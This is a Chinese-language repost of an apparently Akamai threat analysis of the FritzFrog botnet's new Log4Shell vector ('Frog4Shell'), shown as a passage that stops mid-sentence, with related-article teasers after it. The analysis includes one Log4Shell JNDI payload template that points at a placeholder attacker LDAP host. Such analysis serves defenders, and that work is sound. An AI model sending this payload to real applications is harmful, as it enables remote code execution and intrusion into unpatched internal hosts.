Frog4Shell — FritzFrog 僵尸网络将一日攻击纳入其武器库

news2024/9/22 10:04:47

FritzFrog 的背景

Akamai 通过我们的全球传感器网络持续监控威胁,包括我们之前发现的威胁。其中包括FritzFrog 僵尸网络(最初于 2020 年发现),这是一个基于 Golang 的复杂点对点僵尸网络,经过编译可同时支持基于 AMD 和 ARM 的机器。该恶意软件得到积极维护,多年来通过增加和改进功能不断发展。

FritzFrog 一直使用 SSH 暴力破解进行攻击,多年来成功入侵了数千个目标。每个被入侵的主机都成为 FritzFrog 网络的一部分 — 它与受感染的对等体进行通信,以共享信息、有效载荷和配置。

由于持续的维护,该恶意软件在其武器库中包含了许多有趣的功能,包括我们将在本博客中讨论的新增功能,例如引入Log4Shell 漏洞利用。例如,它试图避免接触磁盘以限制检测机会,支持通过 TOR 进行通信,甚至还有一个可以杀死竞争恶意软件的“防病毒”模块

使用 Log4Shell 作为感染媒介

传统上,FritzFrog 依靠 SSH 暴力破解作为其唯一的感染媒介,但该恶意软件的最新版本现在包含一个新的媒介:Log4Shell漏洞利用,在我们这里被称为极其激进的“Frog4Shell”。

Log4Shell 漏洞最初于 2021 年 12 月被发现,并引发了持续数月的全行业修补狂潮。即使在 2 年后的今天,仍有许多面向互联网的应用程序容易受到此漏洞的攻击。

易受攻击的面向互联网的资产是一个严重的问题,但 FritzFrog 实际上对另一种类型的资产——内部主机构成了风险。当该漏洞首次被发现时,面向互联网的应用程序由于其存在重大的入侵风险而被优先修补。相比之下,不太可能被利用的内部机器经常被忽视并且未得到修补——FritzFrog 利用了这种情况。

作为其传播程序的一部分,恶意软件试图瞄准内部网络中的所有主机。它通过调用net__Interface_Addrs标准 Go 函数来识别可访问的子网并瞄准每个子网中的可能地址来实现这一点。在图 1 中,我们可以看到恶意软件试图连接到本地网络中的所有地址。

图 1:FritzFrog 扫描本地网络以识别目标

这意味着,即使“高调”的面向互联网的应用程序已经修补,FritzFrog 对网络中的任何资产的破坏都可能使未修补的内部资产受到攻击。

FritzFrog 通过查找端口 8080、8090、8888 和 9000 上的 HTTP 服务器来识别潜在的 Log4Shell 目标。为了触发此漏洞,攻击者需要强制易受攻击的 log4j 应用程序记录包含有效负载的数据(表 1):

  ${jndi:ldap://<attacker_address>/<payload>}

表 1:Log4Shell 有效载荷示例

该有效负载被易受攻击的 log4j 库错误地解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2068861.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于FPGA的ASIC prototype验证

在当今快速发展的电子设计自动化&#xff08;EDA&#xff09;领域&#xff0c;专用集成电路&#xff08;ASIC&#xff09;的开发因其高性能、低功耗和定制化的特点而备受青睐。然而&#xff0c;ASIC的设计和制造过程不仅成本高昂&#xff0c;而且周期漫长&#xff0c;一旦进入生…

数学建模之数据分析【八】:数据预处理之数据格式化

文章目录 一、在Pandas中格式化数据框的浮点列1.1 将列值四舍五入到两位小数1.2 使用逗号和小数精度的 Pandas DataFrame 格式1.3 在 Pandas DataFrame 中格式化和缩放人口数据 二、如何检查Pandas DataFrame 中的数据类型2.1 创建 DataFrame 检查 DataType2.1.1 创建数据集2.1…

《前端攻城狮 · Vue 使用腾讯地图》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…

React18快速入门教程

项目流程 开发流程 技术选型 创建项目 执行命令&#xff1a; pnpm create vite项目配置 editorconfig&#xff1a;用于配置编辑器&#xff0c;实现使用不同的编辑器打开效果是相同的包配置&#xff1a;主要用于配置国内源eslint配置&#xff1a;主要用于配置语法规则prettier&…

leetCode - - - 二分查找

目录 1.二分查找&#xff08;Leetcode 704&#xff09; 2.搜索插入位置&#xff08; LeetCode 35 &#xff09; 3.寻找峰值&#xff08;LeetCode 162&#xff09; 4.旋转数组的最小数字&#xff08;BM21&#xff09; 5.总结 1.二分查找&#xff08;Leetcode 704&#xff0…

基于Python的机器学习系列(7):多元逻辑回归

在本篇博文中&#xff0c;我们将探讨多元逻辑回归&#xff0c;它是一种扩展的逻辑回归方法&#xff0c;适用于分类数量超过两个的场景。与二元逻辑回归不同&#xff0c;多元逻辑回归使用Softmax函数将多个类别的概率输出映射到[0, 1]范围内&#xff0c;并确保所有类别的概率和为…

利用漏洞实现 Outlook 的 RCE:第一部分

概述 2023 年 3月补丁星期二解决的漏洞中,有一个是Outlook 的一个严重漏洞,编号为CVE-2023-23397,该漏洞被 Forest Blizzard 在野利用,微软已将其确定为俄罗斯国家支持的威胁行为者。2023 年 12 月,微软与波兰网络司令部 (DKWOC) 联合发布消息称,他们发现同一威胁行为者…

Debug-023-Document.createElement()的使用

Document.createElement() document.createElement()是在对象中创建一个对象&#xff0c;要与appendChild() 或 insertBefore()方法联合使用。 appendChild() 方法在节点的子节点列表末添加新的子节点。 insertBefore() 方法在节点的子节点列表任意位置插入新的节点。 用途举…

Linux -- git

1 啥是git git是一个代码的历史版本管理工具&#xff0c;通过用树形结构管理一个代码版本可以快速实现回滚等操作 1.1 git基本概念 工作区&#xff08;Working Directory/Working Tree&#xff09;&#xff1a; 这是你当前正在处理项目文件的地方。你可以在工作区中创建、修改…

非关系型数据库MongoDB(文档型数据库)介绍与使用实例

MongoDB介绍 MongoDB是一种开源的文档型数据库管理系统&#xff0c;它使用类似于JSON的BSON格式&#xff08;Binary JSON&#xff09;来存储数据。与传统关系型数据库不同&#xff0c;MongoDB不使用表和行的结构&#xff0c;而是采用集合&#xff08;Collection&#xff09;(My…

漏洞发现——漏洞扫描工具的对比

本帖字的实验环境是来自学校的靶机 文章目录 Xray介绍安装教程使用教程主动扫描单个url扫描批量扫描 被动扫描联合游览器联合burpsuite Awvs介绍安装教程使用教程联合xary三者联合bp和xray Goby介绍安装教程使用教程 Afrog介绍安装教程使用教程 Vulmap介绍安装教程使用教程 Poc…

SpringMVC核心机制环境搭建

文章目录 1.SpringMVC执行流程1.基础流程图2.详细流程图 2.安装Tomcat1.下载2.解压到任意目录即可3.IDEA配置Tomcat1.配置Deloyment2.配置Server 3.创建maven项目1.创建sun-springmvc模块&#xff08;webapp&#xff09;2.查看是否被父模块管理3.pom.xml引入依赖4.目录5.SunDis…

电子电气架构--- 智能汽车电子架构的核心诉求

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 屏蔽力是信息过载时代一个人的特殊竞争力&#xff0c;任何消耗你的人和事&#xff0c;多看一眼都是你的不…

Android点击和触摸音量小的问题(问题追踪)

有客户反馈&#xff1a;A14触摸声音没有 于是乎&#xff0c;追踪setting打开触摸声音的代码&#xff1a; Overridepublic boolean onPreferenceTreeClick(PreferenceScreen preferenceScreen, Preference preference) {if (preference mVibrateWhenRinging) {Settings.System…

Linux | 进程优先级进程的环境变量

文章目录 进程概念4、进程优先级4.1基本概念4.2查看系统进程4.2.1 ps -l4.2.2 PRI & NI 4.3用top命令更改已存在进程的nice&#xff1a; 5、环境变量5.1常见环境变量5.2查看环境变量5.3测试PATH配置环境变量 5.4代码中获取环境变量5.4代码中获取环境变量 进程概念 4、进程…

RFID 智慧城市书房:开启智慧阅读新时代

在当今数字化、智能化的时代&#xff0c;人们对于阅读的需求和体验也在不断升级。RFID 智慧城市书房的出现&#xff0c;为满足人们对高品质阅读环境的追求提供了全新的途径。 一、RFID 技术&#xff1a;智慧城市书房的核心支撑 RFID&#xff0c;即射频识别技术&#xff0c;是一…

DDS IP实现啁啾信号

简介 DDS&#xff08;Direct Digital Synthesizer&#xff09;即数字合成器&#xff0c;是一种新型的频率合成技术&#xff0c;具有低成本、低功耗、高分辨率、频率转换时间短、相位连续性好等优点&#xff0c;对数字信号处理及其硬件实现有着很重要的作用。DDS 的基本…

18945 小团的配送团队

### 思路 1. **建图**&#xff1a;将订单视为图的节点&#xff0c;已知关系视为图的边&#xff0c;构建无向图。 2. **连通分量**&#xff1a;使用深度优先搜索&#xff08;DFS&#xff09;或广度优先搜索&#xff08;BFS&#xff09;找到图中的所有连通分量。 3. **排序**&…

探索人工智能的未来:埃里克·施密特2024斯坦福大学分享六

代理与文本生成模型的未来展望 您认为明年代理或文本生成模型会出现通货膨胀点吗&#xff1f; 不&#xff0c;不会。 我听到了类似的观点&#xff0c;尤其是埃里克科维茨的看法。他有一个很好的方式来阐述这三个趋势。虽然我之前也听说过这些趋势&#xff0c;但将它们整合起…

C语言破墙镐对称飞迷宫

目录 开头程序程序的流程图程序游玩的效果(gif)结尾 开头 大家好&#xff0c;我叫这是我58。 程序 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <stdlib.h> #include <Windows.h> enum WASD {W,A,S,D }; void printmaze(const char s…